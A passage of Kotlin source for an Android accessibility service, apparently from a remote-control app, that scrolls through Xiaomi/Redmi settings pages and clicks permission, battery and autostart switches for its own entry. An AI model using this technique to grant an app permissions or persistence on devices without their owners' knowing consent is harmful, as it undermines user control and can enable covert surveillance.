            Log.e(TAG, "❌ [精确匹配策略] 查找点击失败", e)
            false
        }
    }
//    当前页面查找点击
    private suspend fun findAndCurrentClickTextPrecise(text: String): Boolean {
        Log.d(TAG, "🔍 [精确匹配策略] 查找并点击文本: $text")

        return try {
            // ✅ 策略1: 直接搜索当前页面
            val textNode = findTextByPreciseMatching(text)
            if (textNode != null) {
                Log.d(TAG, "✅ [精确匹配策略] 在当前页面找到: $text")
                val success = executeClickByPreciseMatching(textNode)
                if (success) {
                    delay(500) // 等待页面响应
                    return true
                }
            }


            Log.w(TAG, "❌ [精确匹配策略] 无法找到文本: $text")
            false

        } catch (e: Exception) {
            Log.e(TAG, "❌ [精确匹配策略] 查找点击失败", e)
            false
        }
    }

    /**
     * ✅ 精确文本匹配查找节点（参考OnePlusAuthorizationHandler实现）
     */
    private fun findTextByPreciseMatching(text: String): AccessibilityNodeInfo? {
        return try {
            val rootInActiveWindow = getStableRootInActiveWindow(service) ?: return null
            val nodes = rootInActiveWindow.findAccessibilityNodeInfosByText(text)

            if (nodes.isEmpty()) return null

            // ✅ 精确文本匹配策略
            for (node in nodes) {
                val nodeText = node.text?.toString()
                val className = node.className?.toString()

                // ✅ 精确文本匹配
                if (nodeText == text) {
                    // ✅ 排除AutoCompleteTextView
                    if (className?.endsWith(".AutoCompleteTextView") != true) {
                        // ✅ 可见性检查
                        if (node.isVisibleToUser) {
                            Log.d(TAG, "✅ [精确匹配策略] 找到文本节点: $text")
                            return node
                        }
                    }
                }
            }

            Log.d(TAG, "❌ [精确匹配策略] 未找到精确匹配的文本: $text")
            null

        } catch (e: Exception) {
            Log.e(TAG, "❌ [精确匹配策略] 查找文本失败", e)
            null
        }
    }

    /**
     * ✅ 精确匹配执行点击（参考OnePlusAuthorizationHandler实现）
     */
    private suspend fun executeClickByPreciseMatching(node: AccessibilityNodeInfo): Boolean {
        return try {
            Log.d(TAG, "🔧 [精确匹配策略] 开始执行点击操作")


            // ✅ 策略2: 直接点击
            if (node.isClickable) {
                val success = node.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                if (success) {
                    Log.d(TAG, "✅ [精确匹配策略] 直接点击成功")
                    return true
                }
            } else {
                // ✅ 策略2.5: 如果当前节点不可点击，检查父节点是否可点击
                val parent = node.parent
                if (parent != null && parent.isClickable) {
                    Log.d(TAG, "🔄 [精确匹配策略] 当前节点不可点击，尝试点击父节点")
                    val parentSuccess = parent.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                    if (parentSuccess) {
                        Log.d(TAG, "✅ [精确匹配策略] 父节点点击成功")
                        parent.recycle()
                        return true
                    }
                    parent.recycle()
                }
            }

            // ✅ 策略1: 强制ACTION_CLICK
            val brand = Build.BRAND.lowercase()
            if (brand.contains("redmi")) {
                if (node.actionList.any { it.id == AccessibilityNodeInfo.ACTION_CLICK }) {
                    val actionClickSuccess = node.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                    if (actionClickSuccess) {
                        Log.d(TAG, "✅ [精确匹配策略] 强制ACTION_CLICK成功")
                        return true
                    }
                }
            }

            // ✅ 策略3: 坐标点击
            val rect = Rect()
            node.getBoundsInScreen(rect)
            var centerX = rect.centerX().toFloat()
            var centerY = rect.centerY().toFloat()

            // ✅ 边界检查：确保坐标不越界
            val screenWidth = service.resources.displayMetrics.widthPixels
            val screenHeight = service.resources.displayMetrics.heightPixels

            if (centerX >= screenWidth) {
                Log.w(TAG, "⚠️ [精确匹配策略] X坐标越界: $centerX >= $screenWidth，使用屏幕终点坐标")
                centerX = screenWidth * 0.5f
            }
            if (centerY >= screenHeight) {
                Log.w(
                    TAG,
                    "⚠️ [精确匹配策略] Y坐标越界: $centerY >= $screenHeight，使用屏幕终点坐标"
                )
                centerY = screenHeight - 10f
            }

            Log.d(
                TAG,
                "🎯 [精确匹配策略] 尝试坐标点击: ($centerX, $centerY) [屏幕尺寸: ${screenWidth}x${screenHeight}]"
            )
            service.performClick(centerX, centerY)
            Log.d(TAG, "✅ [精确匹配策略] 坐标点击完成")
            return true

            Log.w(TAG, "❌ [精确匹配策略] 所有点击策略都失败")
            false

        } catch (e: Exception) {
            Log.e(TAG, "❌ [精确匹配策略] 执行点击失败", e)
            false
        }
    }

    /**
     * ✅ 精确匹配向下滚动（参考OnePlusAuthorizationHandler实现）
     */
    private fun performScrollDownPrecise(): Boolean {
        return try {
            val rootInActiveWindow = getStableRootInActiveWindow(service) ?: return false

            val scrollableNodes = listOf(
                "android.widget.ListView",
                "androidx.recyclerview.widget.RecyclerView",
                "android.widget.ScrollView"
            )

            // ✅ 查找可滚动节点并执行滚动
            for (className in scrollableNodes) {
                val nodes = findScrollableNodesPrecise(rootInActiveWindow, className)
                for (node in nodes) {
                    if (node.isScrollable) {
                        val success =
                            node.performAction(AccessibilityNodeInfo.ACTION_SCROLL_FORWARD)
                        if (success) {
                            Log.d(TAG, "✅ [精确匹配策略] 滚动成功: $className")
                            node.recycle()
                            return true
                        }
                    }
                    node.recycle()
                }
            }

            Log.w(TAG, "⚠️ [精确匹配策略] 未找到可滚动节点，使用手势滚动")
            // 当没找到滚动节点时，使用手势滚动（参考OppoAuthorizationHandler）
            performGestureScrollDown()

        } catch (e: Exception) {
            Log.e(TAG, "❌ [精确匹配策略] 滚动失败", e)
            false
        }
    }

    /**
     * 手势向下滚动（参考OppoAuthorizationHandler实现）
     */
    private fun performGestureScrollDown(): Boolean {
        return try {
            // 获取屏幕尺寸
            val metrics = service.resources.displayMetrics
            val screenWidth = metrics.widthPixels
            val screenHeight = metrics.heightPixels
            
            // 向上滑动手指让页面内容向下滚动
            val centerX = screenWidth / 2f
            val startY = screenHeight * 0.75f
            val endY = screenHeight * 0.35f
            
            Log.d(TAG, "🔧 执行手势向下滚动（手指向上滑动）: ($centerX, $startY) -> ($centerX, $endY)")
            service.performSwipe(centerX, startY, centerX, endY, 400)
            
            true
        } catch (e: Exception) {
            Log.e(TAG, "❌ 手势向下滚动失败", e)
            false
        }
    }

    /**
     * ✅ 查找可滚动节点（参考OnePlusAuthorizationHandler实现）
     */
    private fun findScrollableNodesPrecise(
        root: AccessibilityNodeInfo,
        targetClassName: String
    ): List<AccessibilityNodeInfo> {
        val result = mutableListOf<AccessibilityNodeInfo>()

        fun searchNode(node: AccessibilityNodeInfo?) {
            if (node == null) return

            if (node.className == targetClassName && node.isScrollable) {
                result.add(node)
            }

            for (i in 0 until node.childCount) {
                searchNode(node.getChild(i))
            }
        }

        searchNode(root)
        return result
    }

    /**
     * 使用多种策略查找并点击节点
     */
    private suspend fun findAndClickWithStrategies(text: String, maxAttempts: Int): Boolean {
        Log.d(TAG, "🔍 使用多种策略查找: $text")

        // 策略1: 直接查找当前页面
        if (searchCurrentPageForText(text)) {
            return true
        }

        // 策略2: 向下滚动查找
        if (scrollDownAndSearch(text, maxAttempts)) {
            return true
        }

        // 策略3: 向上滚动查找
        if (scrollUpAndSearch(text, maxAttempts)) {
            return true
        }

        Log.w(TAG, "❌ 所有策略都无法找到: $text")
        return false
    }

    /**
     * 使用多种策略查找并点击节点（带可见性检查）
     */
    private suspend fun findAndClickWithVisibilityStrategies(
        text: String,
        maxAttempts: Int
    ): Boolean {
        Log.d(TAG, "🔍 使用多种策略查找（带可见性检查）: $text")

        // 策略1: 直接查找当前页面并确保可见
        if (searchCurrentPageForTextAndEnsureVisible(text)) {
            return true
        }

        // 策略2: 向下滚动查找
        if (scrollDownAndSearchWithVisibility(text, maxAttempts)) {
            return true
        }

        // 策略3: 向上滚动查找
        if (scrollUpAndSearchWithVisibility(text, maxAttempts)) {
            return true
        }

        Log.w(TAG, "❌ 所有策略都无法找到: $text")
        return false
    }

    /**
     * 在当前页面搜索文本
     */
    private suspend fun searchCurrentPageForText(text: String): Boolean {
        val rootNode = getStableRootInActiveWindow(service)
        if (rootNode == null) {
            Log.w(TAG, "❌ 无法获取根节点")
            return false
        }

        val targetNode = findNodeByText(rootNode, text)
        if (targetNode != null) {
            Log.d(TAG, "✅ 在当前页面找到: $text")

            // 等待滚动完全稳定后再获取坐标点击
            val success = performStableClick(targetNode, text)
            safeRecycleNode(rootNode)
            return success
        }

        safeRecycleNode(rootNode)
        return false
    }

    /**
     * 向下滚动搜索
     */
    private suspend fun scrollDownAndSearch(text: String, maxAttempts: Int): Boolean {
        Log.d(TAG, "🔄 向下滚动搜索: $text")

        for (attempt in 1..maxAttempts) {
            // 执行向下滚动
            if (!performScrollDown()) {
                Log.w(TAG, "❌ 向下滚动失败，尝试 $attempt/$maxAttempts")
                break
            }

            delay(800) // 等待页面稳定

            // 搜索当前页面
            if (searchCurrentPageForText(text)) {
                Log.d(TAG, "✅ 向下滚动搜索成功: $text (尝试 $attempt/$maxAttempts)")
                return true
            }
        }

        return false
    }

    /**
     * 向上滚动搜索
     */
    private suspend fun scrollUpAndSearch(text: String, maxAttempts: Int): Boolean {
        Log.d(TAG, "🔄 向上滚动搜索: $text")

        for (attempt in 1..maxAttempts) {
            // 执行向上滚动
            if (!performScrollUp()) {
                Log.w(TAG, "❌ 向上滚动失败，尝试 $attempt/$maxAttempts")
                break
            }

            delay(500) // 等待页面稳定

            // 搜索当前页面
            if (searchCurrentPageForText(text)) {
                Log.d(TAG, "✅ 向上滚动搜索成功: $text (尝试 $attempt/$maxAttempts)")
                return true
            }
        }

        return false
    }

    /**
     * 向下滚动搜索（带可见性检查）
     */
    private suspend fun scrollDownAndSearchWithVisibility(text: String, maxAttempts: Int): Boolean {
        Log.d(TAG, "🔄 向下滚动搜索（带可见性检查）: $text")

        for (attempt in 1..maxAttempts) {
            // 执行向下滚动
            if (!performScrollDown()) {
                Log.w(TAG, "❌ 向下滚动失败，尝试 $attempt/$maxAttempts")
                break
            }

            delay(150) // 等待页面稳定

            // 搜索当前页面并确保可见
            if (searchCurrentPageForTextAndEnsureVisible(text)) {
                Log.d(TAG, "✅ 向下滚动搜索成功: $text (尝试 $attempt/$maxAttempts)")
                return true
            }
        }

        return false
    }

    /**
     * 向上滚动搜索（带可见性检查）
     */
    private suspend fun scrollUpAndSearchWithVisibility(text: String, maxAttempts: Int): Boolean {
        Log.d(TAG, "🔄 向上滚动搜索（带可见性检查）: $text")

        for (attempt in 1..maxAttempts) {
            // 执行向上滚动
            if (!performScrollUp()) {
                Log.w(TAG, "❌ 向上滚动失败，尝试 $attempt/$maxAttempts")
                break
            }

            delay(50) // 等待页面稳定

            // 搜索当前页面并确保可见
            if (searchCurrentPageForTextAndEnsureVisible(text)) {
                Log.d(TAG, "✅ 向上滚动搜索成功: $text (尝试 $attempt/$maxAttempts)")
                return true
            }
        }

        return false
    }

    /**
     * 查找并点击我们的应用
     */
    private suspend fun findAndClickOurApp(): Boolean {
        Log.d(TAG, "🔍 查找我们的应用")

        // 动态获取当前应用名称
        val appName = try {
            val applicationInfo = context.applicationInfo
            val packageManager = context.packageManager
            val appLabel = packageManager.getApplicationLabel(applicationInfo).toString()
            Log.d(TAG, "当前应用名称: $appLabel")
            appLabel
        } catch (e: Exception) {
            Log.w(TAG, "无法获取应用名称，使用默认名称", e)
            "Android Remote Control" // 后备方案
        }

        Log.d(TAG, "🔍 搜索应用: $appName")

        // 搜索当前位置的应用
        Log.d(TAG, "🔍 搜索当前位置的应用: $appName")
        if (searchCurrentPageForTextAndEnsureVisible(appName)) {
            return true
        }

        // 向下搜索应用 - 强制滚动到底部
        Log.d(TAG, "🔄 开始向下滚动搜索应用（强制滚动到底部）")
        return scrollDownAndSearchForceToBottomWithVisibility(appName, 24)
    }

    /**
     * 搜索当前页面文本并确保可见
     */
    private suspend fun searchCurrentPageForTextAndEnsureVisible(text: String): Boolean {
        val rootNode = getStableRootInActiveWindow(service)
        if (rootNode == null) {
            Log.w(TAG, "❌ 无法获取根节点")
            return false
        }

        // Android 11调试：打印页面中所有文本内容
        if (miVersion == MI_ANDROID_11 || miVersion == MI_ANDROID_13) {
            Log.d(TAG, "🔍 Android 11调试: 开始分析当前页面")
            val currentPageInfo = analyzeCurrentPage(rootNode)
//            Log.d(TAG, "🔍 当前页面信息: $currentPageInfo")
//            Log.d(TAG, "🔍 开始打印页面所有节点结构")
//            printAllTextNodesInPage(rootNode)
        }

        // ✅ 新增：优先使用系统API findAccessibilityNodeInfosByText 提高稳定性
        Log.d(TAG, "🔍 使用系统API查找文本: $text")
        val systemNodes = try {
            rootNode.findAccessibilityNodeInfosByText(text)
        } catch (e: Exception) {
            Log.e(TAG, "❌ 系统API查找失败", e)
            emptyList()
        }
        
        Log.d(TAG, "🔍 系统API找到 ${systemNodes.size} 个节点")
        
        // 优先使用系统API找到的节点
        for ((index, node) in systemNodes.withIndex()) {
            Log.d(TAG, "🔍 检查系统API节点[$index]")
            
            // 检查节点是否可见和可点击
            if (node.isVisibleToUser) {
                Log.d(TAG, "✅ 系统API找到可见节点: $text")
                Log.d(TAG, "✅ 系统API节点已确保完全可见，等待稳定后执行点击")
                delay(500) // 等待滚动完全稳定
                val success = executeClickByPreciseMatching(node)
                safeRecycleNode(rootNode)
                return success
                // 确保节点完全可见
//                if (ensureNodeFullyVisible(node)) {
//                    Log.d(TAG, "✅ 系统API节点已确保完全可见，等待稳定后执行点击")
//                    delay(500) // 等待滚动完全稳定
//                    val success = performClickSafe(node)
//                    safeRecycleNode(rootNode)
//                    return success
//                } else {
//                    Log.w(TAG, "⚠️ 系统API节点无法确保完全可见")
//                    // 即使无法确保可见，也尝试点击
//                    delay(500) // 短暂等待
//                    val success = performClickSafe(node)
//                    safeRecycleNode(rootNode)
//                    return success
//                }
            } else {
                Log.d(TAG, "⚠️ 系统API节点[$index]不可见")
            }
        }

        // ✅ 备选：使用原有的递归搜索方法
        Log.d(TAG, "🔍 系统API未找到合适节点，使用递归搜索")
        val targetNode = findNodeByText(rootNode, text)
        if (targetNode != null) {
            Log.d(TAG, "✅ 递归搜索找到: $text")

            // 确保节点完全可见
            if (ensureNodeFullyVisible(targetNode)) {
                Log.d(TAG, "✅ 递归搜索节点已确保完全可见，等待稳定后执行点击")
                delay(500) // 等待滚动完全稳定
                val success = performClickSafe(targetNode)
                safeRecycleNode(rootNode)
                return success
            } else {
                Log.w(TAG, "⚠️ 递归搜索节点无法确保完全可见")
                // 即使无法确保可见，也尝试点击
                delay(500) // 短暂等待
                val success = performClickSafe(targetNode)
                safeRecycleNode(rootNode)
                return success
            }
        }

        safeRecycleNode(rootNode)
        return false
    }

    /**
     * 确保节点完全可见（自启动应用专用 - 不进行向上滑动）
     */
    private suspend fun ensureNodeFullyVisible(node: AccessibilityNodeInfo): Boolean {
        try {
            val displayMetrics = context.resources.displayMetrics
            val screenHeight = displayMetrics.heightPixels
            val screenWidth = displayMetrics.widthPixels

            // 获取节点的屏幕位置
            val rect = Rect()
            node.getBoundsInScreen(rect)

            Log.d(
                TAG,
                "🔍 节点位置: left=${rect.left}, top=${rect.top}, right=${rect.right}, bottom=${rect.bottom}"
            )
            Log.d(TAG, "🔍 屏幕尺寸: width=$screenWidth, height=$screenHeight")

            // 检查节点是否完全在屏幕可见区域内
            val topMargin = screenHeight * 0.1f // 10%的顶部边距
            val bottomMargin = screenHeight * 0.9f // 90%的底部边距

            val isFullyVisible = rect.left >= 0 &&
                    rect.right <= screenWidth &&
                    rect.top >= topMargin &&
                    rect.bottom <= bottomMargin

            if (isFullyVisible) {
                Log.d(TAG, "✅ 节点已经完全可见")
                return true
            }

            Log.d(TAG, "🔍 节点不完全可见，检查是否需要滚动调整")

            // 记录原始位置
            val originalTop = rect.top
            val originalBottom = rect.bottom

            // 如果节点在屏幕下方，但不太远，向上滚动调整
            if (rect.bottom > bottomMargin) {
                // 计算节点超出屏幕的距离
                val exceedDistance = rect.bottom - bottomMargin

                // 如果超出距离太大（超过屏幕高度的30%），可能是底部应用，不进行调整
                if (exceedDistance > screenHeight * 0.3f) {
                    Log.d(TAG, "🔍 节点在屏幕底部较远位置，跳过滚动调整直接点击")
                    return true
                }

                // 🔥 CRITICAL: 对于自启动应用，不执行向上滚动，直接点击
                Log.d(TAG, "🔍 自启动应用节点位置检查：跳过向上滚动调整，直接点击")
                return true
            }

            // 如果节点在屏幕上方，向下滚动调整
            if (rect.top < topMargin) {
                Log.d(TAG, "🔄 节点在上方，向下微调滚动")
                for (i in 1..2) { // 减少到最多滚动2次
                    performScrollDown()
                    delay(1500) // 增加等待时间

                    // 重新检查位置
                    val newRect = Rect()
                    node.getBoundsInScreen(newRect)
                    Log.d(TAG, "🔍 滚动后节点位置: top=${newRect.top}, bottom=${newRect.bottom}")

                    // 检查位置是否有变化
                    if (Math.abs(newRect.top - originalTop) < 10 && Math.abs(newRect.bottom - originalBottom) < 10) {
                        Log.w(TAG, "⚠️ 滚动无效，节点位置未变化，停止调整直接点击")
                        break
                    }

                    if (newRect.top >= topMargin && newRect.bottom <= bottomMargin) {
                        Log.d(TAG, "✅ 节点已调整到可见位置")
                        return true
                    }
                }
                return true
            }

            return true

        } catch (e: Exception) {
            Log.e(TAG, "❌ 确保节点可见失败", e)
            return false
        }
    }

    /**
     * 向下滚动搜索应用（强制滚动到底部，确保可见性）
     */
    private suspend fun scrollDownAndSearchForceToBottomWithVisibility(
        appName: String,
        maxAttempts: Int
    ): Boolean {
        Log.d(TAG, "🔄 强制向下滚动搜索: $appName")

        for (attempt in 1..maxAttempts) {
            Log.d(TAG, "🔄 滚动尝试: $attempt/$maxAttempts")

            // 执行温和滚动 - 专门为搜索应用设计，避免惯性滚动
            if (!performGentleScrollDownForAppSearch()) {
                Log.w(TAG, "❌ 温和滚动失败，尝试 $attempt/$maxAttempts")
                delay(500)
                continue
            }

            // 温和滚动后等待页面完全稳定
            val scrollWaitTime =
                if (miVersion == MI_ANDROID_11 || miVersion == MI_ANDROID_13) 1000L else 900L
            Log.d(TAG, "⏰ 温和滚动后等待${scrollWaitTime}ms让页面完全稳定")
            delay(scrollWaitTime) // 等待页面完全稳定

            // 搜索当前页面并确保可见
            if (searchCurrentPageForTextAndEnsureVisible(appName)) {
                Log.d(TAG, "✅ 找到应用: $appName (滚动尝试 $attempt/$maxAttempts)")
                return true
            }

            // 即使没找到也要继续滚动，确保滚动到底部
            Log.d(TAG, "🔄 未找到应用，继续向下滚动")
        }

        Log.w(TAG, "❌ 滚动到底部仍未找到应用: $appName")
        return false
    }

    /**
     * 处理弹窗选择
     */
    private suspend fun handlePopupSelection(option: String): Boolean {
        Log.d(TAG, "🔧 处理弹窗选择: $option")

        // 等待弹窗出现
        delay(500)

        // 查找选项按钮
        val rootNode = getStableRootInActiveWindow(service)
        if (rootNode == null) {
            Log.w(TAG, "❌ 无法获取根节点")
            return false
        }

        val optionNode = findNodeByText(rootNode, option)
        if (optionNode != null) {
            Log.d(TAG, "✅ 找到弹窗选项: $option")

            // 弹窗节点特殊处理：确保位置稳定后再点击
            val success = performStableClick(optionNode, option)
            safeRecycleNode(rootNode)

            if (!success) {
                Log.w(TAG, "❌ 弹窗选项点击失败，尝试坐标点击")
                // 备选方案：坐标点击
                return performCoordinateClick(optionNode)
            }
            return success
        }

        safeRecycleNode(rootNode)
        Log.w(TAG, "❌ 未找到弹窗选项: $option")
        return false
    }

    /**
     * 返回导航方法
     */
    private suspend fun navigateBackToOtherPermissions(): Boolean {
        Log.d(TAG, "🔙 返回其他权限页面")
        return performBackNavigation()
    }

    private suspend fun navigateBackToBatteryMoreFunctions(): Boolean {
        Log.d(TAG, "🔙 返回更多电池功能页面")
        return performBackNavigation()
    }

    private suspend fun navigateBackToAppDetails(): Boolean {
        Log.d(TAG, "🔙 返回应用详情页面")
        return performBackNavigation()
    }

    /**
     * 执行返回操作
     */
    private suspend fun performBackNavigation(): Boolean {
        try {
            service.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK)
            delay(PAGE_LOAD_DELAY)
            return true
        } catch (e: Exception) {
            Log.e(TAG, "❌ 返回操作失败", e)
            return false
        }
    }

    // ======================== 滚动操作方法 ========================

    /**
     * 向下滚动
     */
    private suspend fun performScrollDown(): Boolean {
        return performScrollGesture(true)
    }

    /**
     * 温和向下滚动 - 专门为搜索应用设计，避免惯性滚动
     */
    private suspend fun performGentleScrollDownForAppSearch(): Boolean {
        return try {
            val displayMetrics = context.resources.displayMetrics
            val screenHeight = displayMetrics.heightPixels
            val screenWidth = displayMetrics.widthPixels

            // 恢复到60%屏幕高度的滑动距离，但保持温和的滑动时间
            val startY = screenHeight * 0.8f  // 屏幕80%位置
            val endY = screenHeight * 0.2f    // 屏幕20%位置（60%的滑动距离）
            val centerX = screenWidth * 0.5f

            // 创建滚动路径
            val path = Path().apply {
                moveTo(centerX, startY)
                lineTo(centerX, endY)
            }

            // 适中的滑动时间，既温和又不会太慢
            val scrollDuration = 500L

            val gestureBuilder = GestureDescription.Builder()
            val strokeDescription = GestureDescription.StrokeDescription(path, 0, scrollDuration)
            gestureBuilder.addStroke(strokeDescription)

            // 执行手势
            val gestureResult = service.dispatchGesture(gestureBuilder.build(), null, null)

            Log.d(TAG, "✅ 温和滚动手势执行: 向下滚动60%屏幕高度，耗时${scrollDuration}ms")

            // 等待滑动完成
            delay(scrollDuration + 100)

            gestureResult
        } catch (e: Exception) {
            Log.e(TAG, "❌ 温和滚动手势失败", e)
            false
        }
    }

    /**
     * 向上滚动
     */
    private suspend fun performScrollUp(): Boolean {
        return performScrollGesture(false)
    }

    /**
     * 执行滚动手势
     */
    private fun performScrollGesture(scrollDown: Boolean): Boolean {
        return try {
            val displayMetrics = context.resources.displayMetrics
            val screenHeight = displayMetrics.heightPixels
            val screenWidth = displayMetrics.widthPixels

            // Android 13使用更小的滚动距离，避免划过目标元素
            val (startRatio, endRatio) = if (miVersion == MI_ANDROID_13) {
                // Android 13: 更精确的滚动距离 (30%的屏幕高度)
                if (scrollDown) Pair(0.65f, 0.35f) else Pair(0.35f, 0.65f)
            } else {
                // 其他版本: 原来的滚动距离 (60%的屏幕高度)
                if (scrollDown) Pair(0.75f, 0.25f) else Pair(0.25f, 0.75f)
            }

            val startY = screenHeight * startRatio
            val endY = screenHeight * endRatio
            val centerX = screenWidth * 0.5f

            // 创建滚动路径
            val path = Path().apply {
                moveTo(centerX, startY)
                lineTo(centerX, endY)
            }

            // 创建手势描述 - 适中的滚动时间，既稳定又不会太慢
            val gestureBuilder = GestureDescription.Builder()
            val strokeDescription = GestureDescription.StrokeDescription(path, 0, 500)
            gestureBuilder.addStroke(strokeDescription)

            // 执行手势
            val gestureResult = service.dispatchGesture(gestureBuilder.build(), null, null)

            val scrollInfo = if (miVersion == MI_ANDROID_13) {
                "${if (scrollDown) "向下" else "向上"} (Android 13精确滚动)"
            } else {
                "${if (scrollDown) "向下" else "向上"} (增强滚动距离)"
            }
            Log.d(TAG, "✅ 滚动手势执行: $scrollInfo")
            gestureResult
        } catch (e: Exception) {
            Log.e(TAG, "❌ 滚动手势失败", e)
            false
        }
    }

    // ======================== 节点操作方法 ========================

    /**
     * 根据文本查找节点（增强版）
     */
    private fun findNodeByText(
        rootNode: AccessibilityNodeInfo,
        text: String
    ): AccessibilityNodeInfo? {
        // 精确匹配
        if (rootNode.text?.toString() == text) {
            Log.d(TAG, "✅ 精确匹配文本: $text")
            return rootNode
        }

        // 精确匹配 contentDescription
        if (rootNode.contentDescription?.toString() == text) {
            Log.d(TAG, "✅ 精确匹配contentDescription: $text")
            return rootNode
        }

        // 模糊匹配（包含关系）
        if (rootNode.text?.toString()?.contains(text, ignoreCase = true) == true) {
            Log.d(TAG, "✅ 模糊匹配文本: $text")
            return rootNode
        }

        // 模糊匹配 contentDescription
        if (rootNode.contentDescription?.toString()?.contains(text, ignoreCase = true) == true) {
            Log.d(TAG, "✅ 模糊匹配contentDescription: $text")
            return rootNode
        }

        // 特殊处理：如果是开关类文本，查找开关控件
        if (isSwitchRelatedText(text)) {
            val switchNode = findSwitchNearText(rootNode, text)
            if (switchNode != null) {
                Log.d(TAG, "✅ 找到开关控件: $text")
                return switchNode
            }
        }

        // 递归搜索子节点
        for (i in 0 until rootNode.childCount) {
            val child = rootNode.getChild(i)
            if (child != null) {
                val result = findNodeByText(child, text)
                if (result != null) {
                    return result
                }
            }
        }

        return null
    }

    /**
     * 判断是否是开关相关的文本
     */
    private fun isSwitchRelatedText(text: String): Boolean {
        val switchKeywords = listOf(
            "开启", "允许", "打开", "启用", "开", "ON", "Allow", "Enable",
            "关闭", "禁用", "关", "OFF", "Disable", "Deny"
        )
        return switchKeywords.any { it.equals(text, ignoreCase = true) }
    }

    /**
     * 查找文本附近的开关控件
     */
    private fun findSwitchNearText(
        rootNode: AccessibilityNodeInfo,
        text: String
    ): AccessibilityNodeInfo? {
        Log.d(TAG, "🔍 查找开关控件附近的文本: $text")

        // 收集所有开关控件
        val switches = mutableListOf<AccessibilityNodeInfo>()
        collectSwitchNodes(rootNode, switches)

        if (switches.isEmpty()) {
            Log.d(TAG, "🔍 未找到开关控件")
            return null
        }

        Log.d(TAG, "🔍 找到 ${switches.size} 个开关控件")

        // 查找最近的开关控件
        return findNearestSwitch(switches, text)
    }

    /**
     * 收集所有开关控件
     */
    private fun collectSwitchNodes(
        node: AccessibilityNodeInfo,
        switches: MutableList<AccessibilityNodeInfo>
    ) {
        val className = node.className?.toString() ?: ""

        // 检查是否是开关控件
        if (className.contains("Switch", ignoreCase = true) ||
            className.contains("Toggle", ignoreCase = true) ||
            className.contains("Checkable", ignoreCase = true) ||
            (node.isCheckable && node.isClickable)
        ) {
            switches.add(node)
        }

        // 递归检查子节点
        for (i in 0 until node.childCount) {
            val child = node.getChild(i)
            if (child != null) {
                collectSwitchNodes(child, switches)
            }
        }
    }

    /**
     * 查找最近的开关控件
     */
    private fun findNearestSwitch(
        switches: List<AccessibilityNodeInfo>,
        targetText: String
    ): AccessibilityNodeInfo? {
        // 简化策略：返回第一个可见且可点击的开关
        for (switch in switches) {
            if (switch.isVisibleToUser && switch.isClickable && switch.isEnabled) {
                Log.d(TAG, "✅ 找到可用的开关控件")
                return switch
            }
        }

        Log.d(TAG, "🔍 未找到可用的开关控件")
        return null
    }

    /**
     * 稳定点击（等待滚动稳定后再点击）
     */
    private suspend fun performStableClick(node: AccessibilityNodeInfo, text: String): Boolean {
        Log.d(TAG, "🔄 等待滚动稳定后点击: $text")

        try {
            // 第一步：等待滚动完全停止
            delay(800) // 给予足够时间让滚动完全停止

            // 第二步：重新获取页面根节点，确保获取最新状态
            val currentRootNode = getStableRootInActiveWindow(service)
            if (currentRootNode == null) {
                Log.w(TAG, "❌ 无法获取当前根节点")
                return false
            }

            // 第三步：重新查找目标节点，获取稳定后的位置
            val stableTargetNode = findNodeByText(currentRootNode, text)
            if (stableTargetNode == null) {
                Log.w(TAG, "❌ 滚动稳定后未找到目标节点: $text")
                safeRecycleNode(currentRootNode)
                return false
            }

            Log.d(TAG, "✅ 滚动稳定后重新找到: $text")

            // 第四步：多次确认位置稳定性
            val isPositionStable = confirmMultiplePositionStable(stableTargetNode)
            if (!isPositionStable) {
                Log.w(TAG, "⚠️ 位置仍不稳定，跳过点击: $text")
                safeRecycleNode(currentRootNode)
                return false
            }

            // 第五步：执行稳定点击
            Log.d(TAG, "🔧 执行稳定点击: $text")
            val success = performClickSafe(stableTargetNode)

            safeRecycleNode(currentRootNode)
            return success

        } catch (e: Exception) {
            Log.e(TAG, "❌ 稳定点击异常: $text", e)
            return false
        }
    }

    /**
     * 多次确认位置稳定性
     */
    private suspend fun confirmMultiplePositionStable(node: AccessibilityNodeInfo): Boolean {
        Log.d(TAG, "🔍 多次确认位置稳定性")

        var lastRect = Rect()
        node.getBoundsInScreen(lastRect)
        Log.d(TAG, "🔍 初始位置: $lastRect")

        // 连续检查3次，每次间隔200ms
        for (i in 1..3) {
            delay(200)

            val currentRect = Rect()
            node.getBoundsInScreen(currentRect)
            Log.d(TAG, "🔍 检查 $i/3: $currentRect")

            // 检查位置是否发生变化
            if (currentRect != lastRect) {
                Log.w(TAG, "⚠️ 位置仍在变化，位置不稳定")
                return false
            }

            lastRect = currentRect
        }

        Log.d(TAG, "✅ 位置稳定确认完成")
        return true
    }

    /**
     * 安全点击节点（带位置确认）
     */
    private suspend fun performClickSafe(node: AccessibilityNodeInfo): Boolean {
        return try {
            // 🔥 位置确认逻辑：在点击前确认节点位置稳定
            val isPositionStable = confirmNodePositionStable(node)
            if (!isPositionStable) {
                Log.w(TAG, "⚠️ 节点位置不稳定，跳过点击以避免误操作")
                return false
            }

            // 检查节点基本状态
            //if (!node.isVisibleToUser) {
            //    Log.w(TAG, "❌ 节点不可见，跳过点击")
            //    return false
            //}

            //if (!node.isEnabled) {
            //   Log.w(TAG, "❌ 节点未启用，跳过点击")
            //    return false
            //}

            if (node.isClickable) {
                val success = node.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                Log.d(TAG, "✅ 节点点击${if (success) "成功" else "失败"}")
                success
            } else {
                // 优先查找可点击的父节点
                Log.d(TAG, "🔧 节点不可点击，尝试查找可点击的父节点")
                val clickableParent = findClickableParent(node)
                if (clickableParent != null) {
                    Log.d(TAG, "✅ 找到可点击的父节点，执行点击")
                    val success = clickableParent.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                    Log.d(TAG, "✅ 父节点点击${if (success) "成功" else "失败"}")
                    managedNodes.add(clickableParent)
                    success
                } else {
                    // 尝试查找兄弟节点中的可点击元素（特别适用于Android 13）
                    if (miVersion == MI_ANDROID_13) {
                        Log.d(TAG, "🔧 Android 13优化：尝试查找兄弟节点中的可点击元素")
                        val clickableSibling = findClickableSibling(node)
                        if (clickableSibling != null) {
                            Log.d(TAG, "✅ 找到可点击的兄弟节点，执行点击")
                            val success =
                                clickableSibling.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                            Log.d(TAG, "✅ 兄弟节点点击${if (success) "成功" else "失败"}")
